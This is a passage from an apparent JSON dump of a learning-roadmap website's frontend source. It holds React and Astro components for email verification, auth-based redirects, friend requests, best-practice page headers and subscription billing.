'0',\n        );\n        window.location.href = url.toString();\n      })\n      .catch((err) => {\n        setIsLoading(false);\n        setError('Something went wrong. Please try again.');\n      });\n  };\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n    const code = urlParams.get('code')!;\n\n    if (!code) {\n      setIsLoading(false);\n      setError('Something went wrong. Please try again later.');\n      return;\n    }\n\n    triggerVerify(code);\n  }, []);\n\n  return (\n    <div className=\"mx-auto flex max-w-md flex-col items-center pt-0 sm:pt-12\">\n      <div className=\"mx-auto max-w-md text-center\">\n        {isLoading && <Spinner className=\"mx-auto h-16 w-16\" />}\n        {error && <ErrorIcon2 className=\"mx-auto h-16 w-16\" />}\n        <h2 className=\"mb-1 mt-4 text-center text-xl font-semibold sm:mb-3 sm:mt-4 sm:text-2xl\">\n          Verifying your account\n        </h2>\n        <div className=\"text-sm sm:text-base\">\n          {isLoading && <p>Please wait while we verify your account..</p>}\n          {error && <p className=\"text-red-700\">{error}</p>}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/TriggerVerifyEmail.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpPatch } from '../../lib/http';\nimport { setAuthToken } from '../../lib/jwt';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { ErrorIcon2 } from '../ReactIcons/ErrorIcon2';\nimport { getUrlParams } from '../../lib/browser';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\nexport function TriggerVerifyEmail() {\n  const { code } = getUrlParams() as { code: string };\n\n  // const [isLoading, setIsLoading] = useState(true);\n  const [status, setStatus] = useState<'loading' | 'error' | 'success'>(\n    'loading',\n  );\n  const [error, setError] = useState('');\n\n  const triggerVerify = (code: string) => {\n    setStatus('loading');\n\n    httpPatch<{ token: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-verify-new-email/${code}`,\n      {},\n    )\n      .then(({ response, error }) => {\n        if (!response?.token) {\n          setError(error?.message || 'Something went wrong. Please try again.');\n          setStatus('error');\n\n          return;\n        }\n\n        setAuthToken(response.token);\n        setStatus('success');\n      })\n      .catch((err) => {\n        setStatus('error');\n        setError('Something went wrong. Please try again.');\n      });\n  };\n\n  useEffect(() => {\n    if (!code) {\n      setStatus('error');\n      setError('Something went wrong. Please try again later.');\n      return;\n    }\n\n    triggerVerify(code);\n  }, [code]);\n\n  const isLoading = status === 'loading';\n  if (status === 'success') {\n    return (\n      <div className=\"mx-auto flex max-w-md flex-col items-center pt-0 sm:pt-12\">\n        <CheckIcon additionalClasses={'h-16 w-16 opacity-100'} />\n        <h2 className=\"mb-1 mt-4 text-center text-xl font-semibold sm:mb-3 sm:mt-4 sm:text-2xl\">\n          Email Update Successful\n        </h2>\n        <p className=\"text-sm sm:text-base\">\n          Your email has been changed successfully. Happy learning!\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"mx-auto flex max-w-md flex-col items-center pt-0 sm:pt-12\">\n      <div className=\"mx-auto max-w-md text-center\">\n        {isLoading && <Spinner className=\"mx-auto h-16 w-16\" />}\n        {error && <ErrorIcon2 className=\"mx-auto h-16 w-16\" />}\n        <h2 className=\"mb-1 mt-4 text-center text-xl font-semibold sm:mb-3 sm:mt-4 sm:text-2xl\">\n          Verifying your new Email\n        </h2>\n        <div className=\"text-sm sm:text-base\">\n          {isLoading && <p>Please wait while we verify your new Email.</p>}\n          {error && <p className=\"text-red-700\">{error}</p>}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/VerificationEmailMessage.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport { VerifyLetterIcon } from '../ReactIcons/VerifyLetterIcon';\n\nexport function VerificationEmailMessage() {\n  const [email, setEmail] = useState('..');\n  const [error, setError] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n  const [isEmailResent, setIsEmailResent] = useState(false);\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n\n    setEmail(urlParams.get('email')!);\n  }, []);\n\n  const resendVerificationEmail = () => {\n    httpPost(`${import.meta.env.PUBLIC_API_URL}/v1-send-verification-email`, {\n      email,\n    })\n      .then(({ response, error }) => {\n        if (error) {\n          setIsEmailResent(false);\n          setError(error?.message || 'Something went wrong.');\n          setIsLoading(false);\n          return;\n        }\n\n        setIsEmailResent(true);\n      })\n      .catch(() => {\n        setIsEmailResent(false);\n        setIsLoading(false);\n        setError('Something went wrong. Please try again later.');\n      });\n  };\n\n  return (\n    <div className=\"mx-auto max-w-md text-center\">\n      <VerifyLetterIcon className=\"mx-auto mb-4 h-20 w-40 sm:h-40\" />\n      <h2 className=\"my-2 text-center text-xl font-semibold sm:my-5 sm:text-2xl\">\n        Verify your email address\n      </h2>\n      <div className=\"text-sm sm:text-base\">\n        <p>\n          We have sent you an email at{' '}\n          <span className=\"font-bold\">{email}</span>. Please click the link to\n          verify your account. This link will expire shortly, so please verify\n          soon!\n        </p>\n\n        <hr className=\"my-4\" />\n\n        {!isEmailResent && (\n          <>\n            {isLoading && <p className=\"text-gray-400\">Sending the email ..</p>}\n            {!isLoading && !error && (\n              <p>\n                Please make sure to check your spam folder. If you still don't\n                have the email click to{' '}\n                <button\n                  disabled={!email}\n                  className=\"inline text-blue-700\"\n                  onClick={resendVerificationEmail}\n                >\n                  resend verification email.\n                </button>\n              </p>\n            )}\n\n            {error && <p className=\"text-red-700\">{error}</p>}\n          </>\n        )}\n\n        {isEmailResent && (\n          <p className=\"text-green-700\">Verification email has been sent!</p>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Authenticator/Authenticator.astro",
    "content": "---\n---\n\n<script src='./authenticator.ts'></script>\n"
  },
  {
    "path": "src/components/Authenticator/authenticator.ts",
    "content": "import Cookies from 'js-cookie';\nimport { TOKEN_COOKIE_NAME } from '../../lib/jwt';\nimport { REDIRECT_PAGE_AFTER_AUTH } from '../../lib/auth';\n\nfunction easeInElement(el: Element) {\n  el.classList.add('opacity-0', 'transition-opacity', 'duration-300');\n  el.classList.remove('hidden', 'hidden!');\n  setTimeout(() => {\n    el.classList.remove('opacity-0');\n  });\n}\n\nfunction showHideAuthElements(hideOrShow: 'hide' | 'show' = 'hide') {\n  document.querySelectorAll('[data-auth-required]').forEach((el) => {\n    if (hideOrShow === 'hide') {\n      el.classList.add('hidden');\n    } else {\n      easeInElement(el);\n    }\n  });\n}\n\nfunction showHideGuestElements(hideOrShow: 'hide' | 'show' = 'hide') {\n  document.querySelectorAll('[data-guest-required]').forEach((el) => {\n    if (hideOrShow === 'hide') {\n      el.classList.add('hidden');\n    } else {\n      easeInElement(el);\n    }\n  });\n}\n\n// Prepares the UI for the user who is logged in\nfunction handleGuest() {\n  const authenticatedRoutes = [\n    '/account/update-profile',\n    '/account/notification',\n    '/account/update-password',\n    '/account/settings',\n    '/account/roadmaps',\n    '/account/road-card',\n    '/account/friends',\n    '/account',\n    '/team',\n    '/team/progress',\n    '/team/activity',\n    '/team/roadmaps',\n    '/team/new',\n    '/team/members',\n    '/team/member',\n    '/team/settings',\n    '/dashboard',\n  ];\n\n  showHideAuthElements('hide');\n  showHideGuestElements('show');\n\n  // If the user is on an authenticated route, redirect them to the home page\n  if (authenticatedRoutes.includes(window.location.pathname)) {\n    localStorage.setItem(REDIRECT_PAGE_AFTER_AUTH, window.location.pathname);\n    window.location.href = '/login';\n  }\n}\n\n// Prepares the UI for the user who is logged out\nfunction handleAuthenticated() {\n  const guestRoutes = [\n    '/login',\n    '/signup',\n    '/verify-account',\n    '/verification-pending',\n    '/reset-password',\n    '/forgot-password',\n  ];\n\n  showHideGuestElements('hide');\n  showHideAuthElements('show');\n\n  // If the user is on a guest route, redirect them to the home page\n  if (guestRoutes.includes(window.location.pathname)) {\n    const authRedirect = window.localStorage.getItem('authRedirect') || '/';\n    window.localStorage.removeItem('authRedirect');\n\n    window.location.href = authRedirect;\n  }\n}\n\nexport function handleAuthRequired() {\n  const token = Cookies.get(TOKEN_COOKIE_NAME);\n  if (token) {\n    const pageAfterAuth = localStorage.getItem(REDIRECT_PAGE_AFTER_AUTH);\n    if (pageAfterAuth) {\n      localStorage.removeItem(REDIRECT_PAGE_AFTER_AUTH);\n      window.location.href = pageAfterAuth;\n\n      return;\n    }\n\n    handleAuthenticated();\n  } else {\n    handleGuest();\n  }\n}\n\nwindow.setTimeout(() => {\n  handleAuthRequired();\n}, 0);\n"
  },
  {
    "path": "src/components/Badge.tsx",
    "content": "type BadgeProps = {\n  variant: 'blue' | 'green' | 'red' | 'yellow' | 'grey' | 'white';\n  text: string;\n};\n\nexport function Badge(type: BadgeProps) {\n  const { variant, text } = type;\n\n  const colors = {\n    blue: 'bg-blue-100 text-blue-700 border-blue-200',\n    green: 'bg-green-100 text-green-700 border-green-200',\n    red: 'bg-red-100 text-red-700 border-red-200',\n    yellow: 'bg-yellow-100 text-yellow-700 border-yellow-200',\n    grey: 'bg-gray-100 text-gray-700 border-gray-200',\n    white: 'bg-white text-black border-gray-200',\n    teal: 'bg-teal-100 text-teal-700 border-teal-200',\n    black: 'bg-gray-500 text-white border-gray-500',\n  };\n\n  return (\n    <span\n      className={`rounded-md border capitalize ${colors[variant]} px-1 py-0.5 text-xs tracking-wide`}\n    >\n      {text}\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/Befriend.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpDelete, httpGet, httpPost } from '../lib/http';\nimport { pageProgressMessage } from '../stores/page';\nimport { isLoggedIn } from '../lib/jwt';\nimport { showLoginPopup } from '../lib/popup';\nimport { getUrlParams } from '../lib/browser';\nimport { CheckIcon } from './ReactIcons/CheckIcon';\nimport { DeleteUserIcon } from './ReactIcons/DeleteUserIcon';\nimport { useToast } from '../hooks/use-toast';\nimport { useAuth } from '../hooks/use-auth';\nimport { AddedUserIcon } from './ReactIcons/AddedUserIcon';\nimport { StopIcon } from './ReactIcons/StopIcon';\nimport { ErrorIcon } from './ReactIcons/ErrorIcon';\n\nexport type FriendshipStatus =\n  | 'none'\n  | 'sent'\n  | 'received'\n  | 'accepted'\n  | 'rejected'\n  | 'got_rejected';\n\ntype UserResponse = {\n  id: string;\n  links: Record<string, string>;\n  avatar: string;\n  name: string;\n  status: FriendshipStatus;\n};\n\nexport function Befriend() {\n  const { u: inviteId } = getUrlParams();\n\n  const toast = useToast();\n  const currentUser = useAuth();\n\n  const [isConfirming, setIsConfirming] = useState(false);\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n  const [user, setUser] = useState<UserResponse>();\n  const isAuthenticated = isLoggedIn();\n\n  async function loadUser(userId: string) {\n    const { response, error } = await httpGet<UserResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-friend/${userId}`\n    );\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    if (response.status === 'accepted') {\n      window.location.href = '/account/friends?c=fa';\n      return;\n    }\n\n    setUser(response);\n  }\n\n  useEffect(() => {\n    if (inviteId) {\n      loadUser(inviteId).finally(() => {\n        pageProgressMessage.set('');\n        setIsLoading(false);\n      });\n    } else {\n      setIsLoading(false);\n      setError('Missing invite ID in URL');\n      pageProgressMessage.set('');\n    }\n  }, [inviteId]);\n\n  async function addFriend(userId: string, successMessage: string) {\n    pageProgressMessage.set('Please wait...');\n    setError('');\n    const { response, error } = await httpPost<UserResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-add-friend/${userId}`,\n      {}\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    if (response.status === 'accepted') {\n      window.location.href = '/account/friends?c=fa';\n      return;\n    }\n\n    setUser(response);\n  }\n\n  async function deleteFriend(userId: string, successMessage: string) {\n    pageProgressMessage.set('Please wait...');\n    setError('');\n    const { response, error } = await httpDelete<UserResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-delete-friend/${userId}`,\n      {}\n    );\n\n    if (error || !response) {\n      setError(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setUser(response);\n    toast.success(successMessage);\n  }\n\n  if (isLoading) {\n    return null;\n  }\n\n  if (!user) {\n    return (\n      <div className=\"container text-center\">\n        <ErrorIcon additionalClasses=\"mx-auto mb-4 mt-24 w-20 opacity-20\" />\n\n        <h2 className={'mb-1 text-2xl font-bold'}>Error</h2>\n        <p className=\"mb-4 text-base leading-6 text-gray-600\">\n          {error || 'There was a problem, please try again.'}\n        </p>\n\n        <div>\n          <a\n            href=\"/\"\n            className=\"grow cursor-pointer rounded-lg bg-gray-200 px-3 py-2 text-center\"\n          >\n            Back to home\n          </a>\n        </div>\n      </div>\n    );\n  }\n\n  const userAvatar = user.avatar\n    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${user.avatar}`\n    : '/img/default-avatar.png';\n\n  const isMe = currentUser?.id === user.id;\n\n  return (\n    <div className=\"container max-w-[400px]! text-center\">\n      <img\n        alt={'join team'}\n        src={userAvatar}\n        className=\"mx-auto mb-4 mt-24 w-28 rounded-full\"\n      />\n\n      <h2 className={'mb-1 text-3xl font-bold'}>{user.name}</h2>\n      <p className=\"mb-6 text-base leading-6 text-gray-600\">\n        After you add {user.name} as a friend, you will be able to view each\n        other's skills and progress.\n      </p>\n\n      <div className=\"mx-auto w-full duration-500 sm:max-w-md\">\n        <div className=\"flex w-full flex-col items-center gap-2\">\n          {user.status === 'none' && (\n            <button\n              disabled={isMe}\n              onClick={() => {\n                if (!isAuthenticated) {\n                  return showLoginPopup();\n                }\n\n                addFriend(user.id, 'Friend request sent').finally(() => {\n                  pageProgressMessage.set('');\n                });\n              }}\n              type=\"button\"\n              className=\"w-full grow cursor-pointer rounded-lg bg-black px-3 py-2 text-center text-white disabled:cursor-not-allowed disabled:opacity-40\"\n            >\n              {isMe ? \"You can't add yourself\" : 'Add Friend'}\n            </button>\n          )}\n\n          {user.status === 'sent' && (\n            <>\n              <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border  border-gray-300 px-3 py-2 text-center text-black\">\n                <CheckIcon additionalClasses=\"mr-2 h-4 w-4\" />\n                Request Sent\n              </span>\n\n              {!isConfirming && (\n                <button\n                  onClick={() => {\n                    setIsConfirming(true);\n                  }}\n                  type=\"button\"\n                  className=\"flex w-full grow cursor-pointer items-center justify-center rounded-lg border border-red-600 bg-red-600 px-3 py-2 text-center text-white hover:bg-red-700\"\n                >\n                  <DeleteUserIcon additionalClasses=\"mr-2 h-[19px] w-[19px]\" />\n                  Withdraw Request\n                </button>\n              )}\n\n              {isConfirming && (\n                <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-red-600 px-3 py-2.5 text-center text-sm text-red-600\">\n                  Are you sure?{' '}\n                  <button\n                    className=\"ml-2 text-red-700 underline\"\n                    onClick={() => {\n                      deleteFriend(user.id, 'Friend request withdrawn').finally(\n                        () => {\n                          pageProgressMessage.set('');\n                        }\n                      );\n                    }}\n                  >\n                    Yes\n                  </button>{' '}\n                  <button\n                    onClick={() => {\n                      setIsConfirming(false);\n                    }}\n                    className=\"ml-2 text-red-600 underline\"\n                  >\n                    No\n                  </button>\n                </span>\n              )}\n            </>\n          )}\n\n          {user.status === 'accepted' && (\n            <>\n              <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border  border-gray-300 px-3 py-2 text-center text-black\">\n                <AddedUserIcon additionalClasses=\"mr-2 h-5 w-5\" />\n                You are friends\n              </span>\n\n              {!isConfirming && (\n                <button\n                  onClick={() => {\n                    setIsConfirming(true);\n                  }}\n                  type=\"button\"\n                  className=\"flex w-full grow cursor-pointer items-center justify-center rounded-lg border border-red-600 bg-red-600 px-3 py-2 text-center text-white hover:bg-red-700\"\n                >\n                  <DeleteUserIcon additionalClasses=\"mr-2 h-[19px] w-[19px]\" />\n                  Remove Friend\n                </button>\n              )}\n\n              {isConfirming && (\n                <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-red-600 px-3 py-2.5 text-center text-sm text-red-600\">\n                  Are you sure?{' '}\n                  <button\n                    className=\"ml-2 text-red-700 underline\"\n                    onClick={() => {\n                      deleteFriend(user.id, 'Friend removed').finally(() => {\n                        pageProgressMessage.set('');\n                      });\n                    }}\n                  >\n                    Yes\n                  </button>{' '}\n                  <button\n                    onClick={() => {\n                      setIsConfirming(false);\n                    }}\n                    className=\"ml-2 text-red-600 underline\"\n                  >\n                    No\n                  </button>\n                </span>\n              )}\n            </>\n          )}\n\n          {user.status === 'rejected' && (\n            <>\n              <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-gray-300 px-3 py-2 text-center text-black\">\n                <DeleteUserIcon additionalClasses=\"mr-2 h-4 w-4\" />\n                Request Rejected\n              </span>\n\n              <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-red-600 px-3 py-2.5 text-center text-sm text-red-600\">\n                Changed your mind?{' '}\n                <button\n                  className=\"ml-2 text-red-700 underline\"\n                  onClick={() => {\n                    addFriend(user.id, 'Friend request accepted').finally(\n                      () => {\n                        pageProgressMessage.set('');\n                      }\n                    );\n                  }}\n                >\n                  Click here to Accept\n                </button>\n              </span>\n            </>\n          )}\n\n          {user.status === 'got_rejected' && (\n            <>\n              <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-red-500 px-3 py-2 text-center text-red-500\">\n                <StopIcon additionalClasses=\"mr-2 h-4 w-4\" />\n                Request Rejected\n              </span>\n            </>\n          )}\n\n          {user.status === 'received' && (\n            <>\n              <button\n                onClick={() => {\n                  addFriend(user.id, 'Friend request accepted').finally(() => {\n                    pageProgressMessage.set('');\n                  });\n                }}\n                className=\"flex w-full grow cursor-pointer items-center justify-center rounded-lg border  border-gray-800 bg-gray-800 px-3 py-2 text-center text-white hover:bg-black\"\n              >\n                <CheckIcon additionalClasses=\"mr-2 h-4 w-4\" />\n                Accept Request\n              </button>\n\n              {!isConfirming && (\n                <button\n                  onClick={() => {\n                    setIsConfirming(true);\n                  }}\n                  type=\"button\"\n                  className=\"flex w-full grow cursor-pointer items-center justify-center rounded-lg border border-red-600 bg-white px-3 py-2 text-center text-red-600 hover:bg-red-100\"\n                >\n                  <DeleteUserIcon additionalClasses=\"mr-2 h-[19px] w-[19px]\" />\n                  Reject Request\n                </button>\n              )}\n\n              {isConfirming && (\n                <span className=\"flex w-full grow cursor-default items-center justify-center rounded-lg border border-red-600 px-3 py-2.5 text-center text-sm text-red-600\">\n                  Are you sure?{' '}\n                  <button\n                    className=\"ml-2 text-red-700 underline\"\n                    onClick={() => {\n                      deleteFriend(user.id, 'Friend request rejected').finally(\n                        () => {\n                          pageProgressMessage.set('');\n                        }\n                      );\n                    }}\n                  >\n                    Yes\n                  </button>{' '}\n                  <button\n                    onClick={() => {\n                      setIsConfirming(false);\n                    }}\n                    className=\"ml-2 text-red-600 underline\"\n                  >\n                    No\n                  </button>\n                </span>\n              )}\n            </>\n          )}\n        </div>\n      </div>\n\n      {error && (\n        <p className=\"mt-2 rounded-lg bg-red-100 p-2 text-red-700\">{error}</p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/BestPracticeHeader.astro",
    "content": "---\nimport Icon from './AstroIcon.astro';\nimport LoginPopup from './AuthenticationFlow/LoginPopup.astro';\nimport BestPracticeHint from './BestPracticeHint.astro';\nimport { MarkFavorite } from './FeaturedItems/MarkFavorite';\nimport ProgressHelpPopup from './ProgressHelpPopup.astro';\n\nexport interface Props {\n  title: string;\n  description: string;\n  bestPracticeId: string;\n  isUpcoming?: boolean;\n}\n\nconst { title, description, bestPracticeId, isUpcoming = false } = Astro.props;\nconst isBestPracticeReady = !isUpcoming;\n---\n\n<LoginPopup />\n<ProgressHelpPopup />\n\n<div class=\"border-b\">\n  <div class=\"container relative py-5 sm:py-12\">\n    <div class=\"mb-3 mt-0 sm:mb-6\">\n      <h1 class=\"mb-0.5 text-2xl font-bold sm:mb-2 sm:text-4xl\">\n        {title}\n        <MarkFavorite\n          resourceId={bestPracticeId}\n          resourceType=\"best-practice\"\n          className=\"text-gray-500 opacity-100! hover:text-gray-600 [&>svg]:stroke-[0.4] [&>svg]:stroke-gray-400 [&>svg]:hover:stroke-gray-600 [&>svg]:h-4 [&>svg]:w-4 sm:[&>svg]:h-5 sm:[&>svg]:w-5 ml-1.5 relative focus:outline-0\"\n          client:load\n        />\n      </h1>\n      <p class=\"text-sm text-gray-500 sm:text-lg\">{description}</p>\n    </div>\n\n    <div class=\"flex justify-between\">\n      <div class=\"flex gap-1 sm:gap-2\">\n        <a\n          href=\"/best-practices\"\n          class=\"rounded-md bg-gray-500 px-3 py-1.5 text-xs font-medium text-white hover:bg-gray-600 sm:text-sm\"\n          aria-label=\"Back to All Best Practices\"\n        >\n          &larr;<span class=\"hidden sm:inline\">&nbsp;All Best Practices</span>\n        </a>\n\n        {\n          isBestPracticeReady && (\n            <button\n              data-guest-required\n              data-popup=\"login-popup\"\n              class=\"inline-flex hidden! items-center justify-center rounded-md bg-yellow-400 px-3 py-1.5 text-xs font-medium hover:bg-yellow-500 sm:text-sm\"\n              aria-label=\"Download Roadmap\"\n            >\n              <Icon icon=\"download\" />\n              <span class=\"ml-2 hidden sm:inline\">Download</span>\n            </button>\n          )\n        }\n\n        {\n          isBestPracticeReady && (\n            <a\n              data-auth-required\n              class=\"inline-flex hidden! items-center justify-center rounded-md bg-yellow-400 px-3 py-1.5 text-xs font-medium hover:bg-yellow-500 sm:text-sm\"\n              aria-label=\"Download Roadmap\"\n              target=\"_blank\"\n              href={`/pdfs/best-practices/${bestPracticeId}.pdf`}\n            >\n              <Icon icon=\"download\" />\n              <span class=\"ml-2 hidden sm:inline\">Download</span>\n            </a>\n          )\n        }\n      </div>\n\n      {\n        isBestPracticeReady && (\n          <a\n            href={`https://github.com/kamranahmedse/developer-roadmap/issues/new/choose`}\n            target=\"_blank\"\n            class=\"inline-flex items-center justify-center rounded-md bg-gray-500 px-3 py-1.5 text-xs font-medium text-white hover:bg-gray-600 sm:text-sm\"\n            aria-label=\"Suggest Changes\"\n          >\n            <Icon icon=\"comment\" class=\"h-3 w-3\" />\n            <span class=\"ml-2 hidden sm:inline\">Suggest Changes</span>\n            <span class=\"ml-2 inline sm:hidden\">Suggest</span>\n          </a>\n        )\n      }\n    </div>\n\n    <BestPracticeHint bestPracticeId={bestPracticeId} />\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/BestPracticeHint.astro",
    "content": "---\nimport ResourceProgressStats from './ResourceProgressStats.astro';\nexport interface Props {\n  bestPracticeId: string;\n}\nconst { bestPracticeId } = Astro.props;\n---\n\n<div class='mt-4 sm:mt-7 border-0 sm:border rounded-md mb-0 sm:-mb-[65px]'>\n  <ResourceProgressStats resourceId={bestPracticeId} resourceType='best-practice' />\n</div>\n"
  },
  {
    "path": "src/components/Billing/BillingPage.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { pageProgressMessage } from '../../stores/page';\nimport { useToast } from '../../hooks/use-toast';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport {\n  billingDetailsOptions,\n  USER_SUBSCRIPTION_PLAN_PRICES,\n} from '../../queries/billing';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { UpgradeAccountModal } from './UpgradeAccountModal';\nimport { getUrlParams } from '../../lib/browser';\nimport { VerifyUpgrade } from './VerifyUpgrade';\nimport { EmptyBillingScreen } from './EmptyBillingScreen';\nimport {\n  Calendar,\n  RefreshCw,\n  Loader2,\n  CreditCard,\n  ArrowRightLeft,\n  CircleX,\n  AlertCircle,\n} from 'lucide-react';\nimport { BillingWarning } from './BillingWarning';\nimport { cn } from '../../lib/classname';\n\nexport type CreateCustomerPortalBody = {};\n\nexport type CreateCustomerPortalResponse = {\n  url: string;\n};\n\nexport function BillingPage() {\n  const toast = useToast();\n\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showVerifyUpgradeModal, setShowVerifyUpgradeModal] = useState(false);\n\n  const { data: billingDetails, isPending: isLoadingBillingDetails } = useQuery(\n    billingDetailsOptions(),\n    queryClient,\n  );\n\n  const willBeCanceled = billingDetails?.cancelAtPeriodEnd;\n  const isCanceled = billingDetails?.status === 'canceled';\n\n  const isPastDue = billingDetails?.status === 'past_due';\n  const isIncomplete = billingDetails?.status === 'incomplete';\n  const isIncompleteExpired = billingDetails?.status === 'incomplete_expired';\n\n  const {\n    mutate: createCustomerPortal,\n    isSuccess: isCreatingCustomerPortalSuccess,\n    isPending: isCreatingCustomerPortal,\n  } = useMutation(\n    {\n      mutationFn: (body: CreateCustomerPortalBody) => {\n        return httpPost<CreateCustomerPortalResponse>(\n          '/v1-create-customer-portal',\n          body,\n        );\n      },\n      onSuccess: (data) => {\n        window.location.href = data.url;\n      },\n      onError: (error) => {\n        console.error(error);\n        toast.error(error?.message || 'Failed to Create Customer Portal');\n      },\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    if (isLoadingBillingDetails) {\n      return;\n    }\n\n    pageProgressMessage.set('');\n    const shouldVerifyUpgrade = getUrlParams()?.s === '1';\n    if (shouldVerifyUpgrade) {\n      setShowVerifyUpgradeModal(true);\n    }\n  }, [isLoadingBillingDetails]);\n\n  if (isLoadingBillingDetails || !billingDetails) {\n    return null;\n  }\n\n  const selectedPlanDetails = USER_SUBSCRIPTION_PLAN_PRICES.find(\n    (plan) => plan.priceId === billingDetails?.priceId,\n  );\n  const priceDetails = selectedPlanDetails;\n\n  const formattedNextBillDate = new Date(\n    billingDetails?.currentPeriodEnd || '',\n  ).toLocaleDateString('en-US', {\n    year: 'numeric',\n    month: 'long',\n    day: 'numeric',\n  });\n\n  const modals = (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {showVerifyUpgradeModal && <VerifyUpgrade />}\n    </>\n  );\n\n  if (billingDetails?.status === 'none' || isIncompleteExpired) {\n    return (\n      <>\n        {modals}\n        <EmptyBillingScreen onUpgrade={() => setShowUpgradeModal(true)} />\n      </>\n    );\n  }\n\n  if (isCanceled) {\n    return (\n      <>\n        {modals}\n        <BillingWarning\n          icon={CircleX}\n          message=\"Your subscription has been canceled.\"\n          buttonText=\"Reactivate?\"\n          onButtonClick={() => {\n            if (willBeCanceled) {\n              createCustomerPortal({});\n            } else {\n              setShowUpgradeModal(true);\n            }\n          }}\n          isLoading={\n            isCreatingCustomerPortal || isCreatingCustomerPortalSuccess\n          }\n        />\n\n        <EmptyBillingScreen onUpgrade={() => setShowUpgradeModal(true)} />\n      </>\n    );\n  }\n\n  if (isIncomplete) {\n    return (\n      <>\n        {modals}\n        <BillingWarning\n          icon={AlertCircle}\n          message=\"Your subscription is incomplete \"\n          buttonText=\"please pay invoice on Stripe.\"\n          onButtonClick={() => {\n            createCustomerPortal({});\n          }}\n          isLoading={\n            isCreatingCustomerPortal || isCreatingCustomerPortalSuccess\n          }\n        />\n\n        <EmptyBillingScreen onUpgrade={() => setShowUpgradeModal(true)} />\n      </>\n    );\n  }\n\n  if (!priceDetails) {\n    return (\n      <div className=\"p-5\">\n        <h1 className=\"text-2xl font-bold\">Uh oh!</h1>\n        <p className=\"text-sm text-gray-500\">\n          We couldn't find your subscription details. Please contact support at\n          <a className=\"text-blue-500 underline\" href=\"mailto:info@roadmap.sh\">\n            info@roadmap.sh\n          </a>\n          .\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <>\n      {modals}\n\n      <div className=\"mt-1\">\n        {isPastDue && (\n          <BillingWarning\n            message=\"We were not able to charge your card.\"\n            buttonText=\"Update payment information.\"\n            onButtonClick={() => {\n              createCustomerPortal({});\n            }}\n            isLoading={\n              isCreatingCustomerPortal || isCreatingCustomerPortalSuccess\n            }\n          />\n        )}\n\n        {willBeCanceled && (\n          <BillingWarning\n            icon={CircleX}\n            message={`Your subscription will be canceled on ${formattedNextBillDate}. `}\n            buttonText=\"Reactivate?\"\n            onButtonClick={() => {\n              createCustomerPortal({});\n            }}\n            isLoading={\n              isCreatingCustomerPortal || isCreatingCustomerPortalSuccess\n            }\n          />\n        )}\n\n        <h2 className=\"mb-2 text-xl font-semibold text-black\">\n          Current Subscription\n        </h2>\n\n        <p className=\"text-sm text-gray-500\">\n          Thank you for being a pro member. Your plan details are below.\n        </p>\n\n        <div className=\"mt-8 flex flex-col gap-6 sm:flex-row sm:items-center sm:justify-between\">\n          <div className=\"flex items-center gap-4\">\n            <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-gray-100\">\n              <RefreshCw className=\"size-5 text-gray-600\" />\n            </div>\n            <div>\n              <span className=\"text-xs tracking-wider text-gray-400 uppercase\">\n                Payment\n              </span>\n              <h3 className=\"flex items-baseline text-lg font-semibold text-black\">\n                ${priceDetails.amount}\n                <span className=\"ml-1 text-sm font-normal text-gray-500\">\n                  / {priceDetails.interval}\n                </span>\n              </h3>\n            </div>\n          </div>\n        </div>\n\n        <div\n          className={cn(\n            'mt-6 pt-6',\n            !isIncomplete && 'border-t border-gray-100',\n            isIncomplete && '-mt-6',\n          )}\n        >\n          <div className=\"flex items-start gap-4\">\n            <div className=\"flex h-12 w-12 items-center justify-center rounded-full bg-gray-100\">\n              <Calendar className=\"size-5 text-gray-600\" />\n            </div>\n            <div>\n              <span className=\"text-xs tracking-wider text-gray-400 uppercase\">\n                {willBeCanceled ? 'Expires On' : 'Renews On'}\n              </span>\n              <h3 className=\"text-lg font-semibold text-black\">\n                {formattedNextBillDate}\n              </h3>\n            </div>\n          </div>\n\n          <div className=\"mt-8 flex gap-3 max-sm:flex-col\">\n            {!willBeCanceled && (\n              <button\n                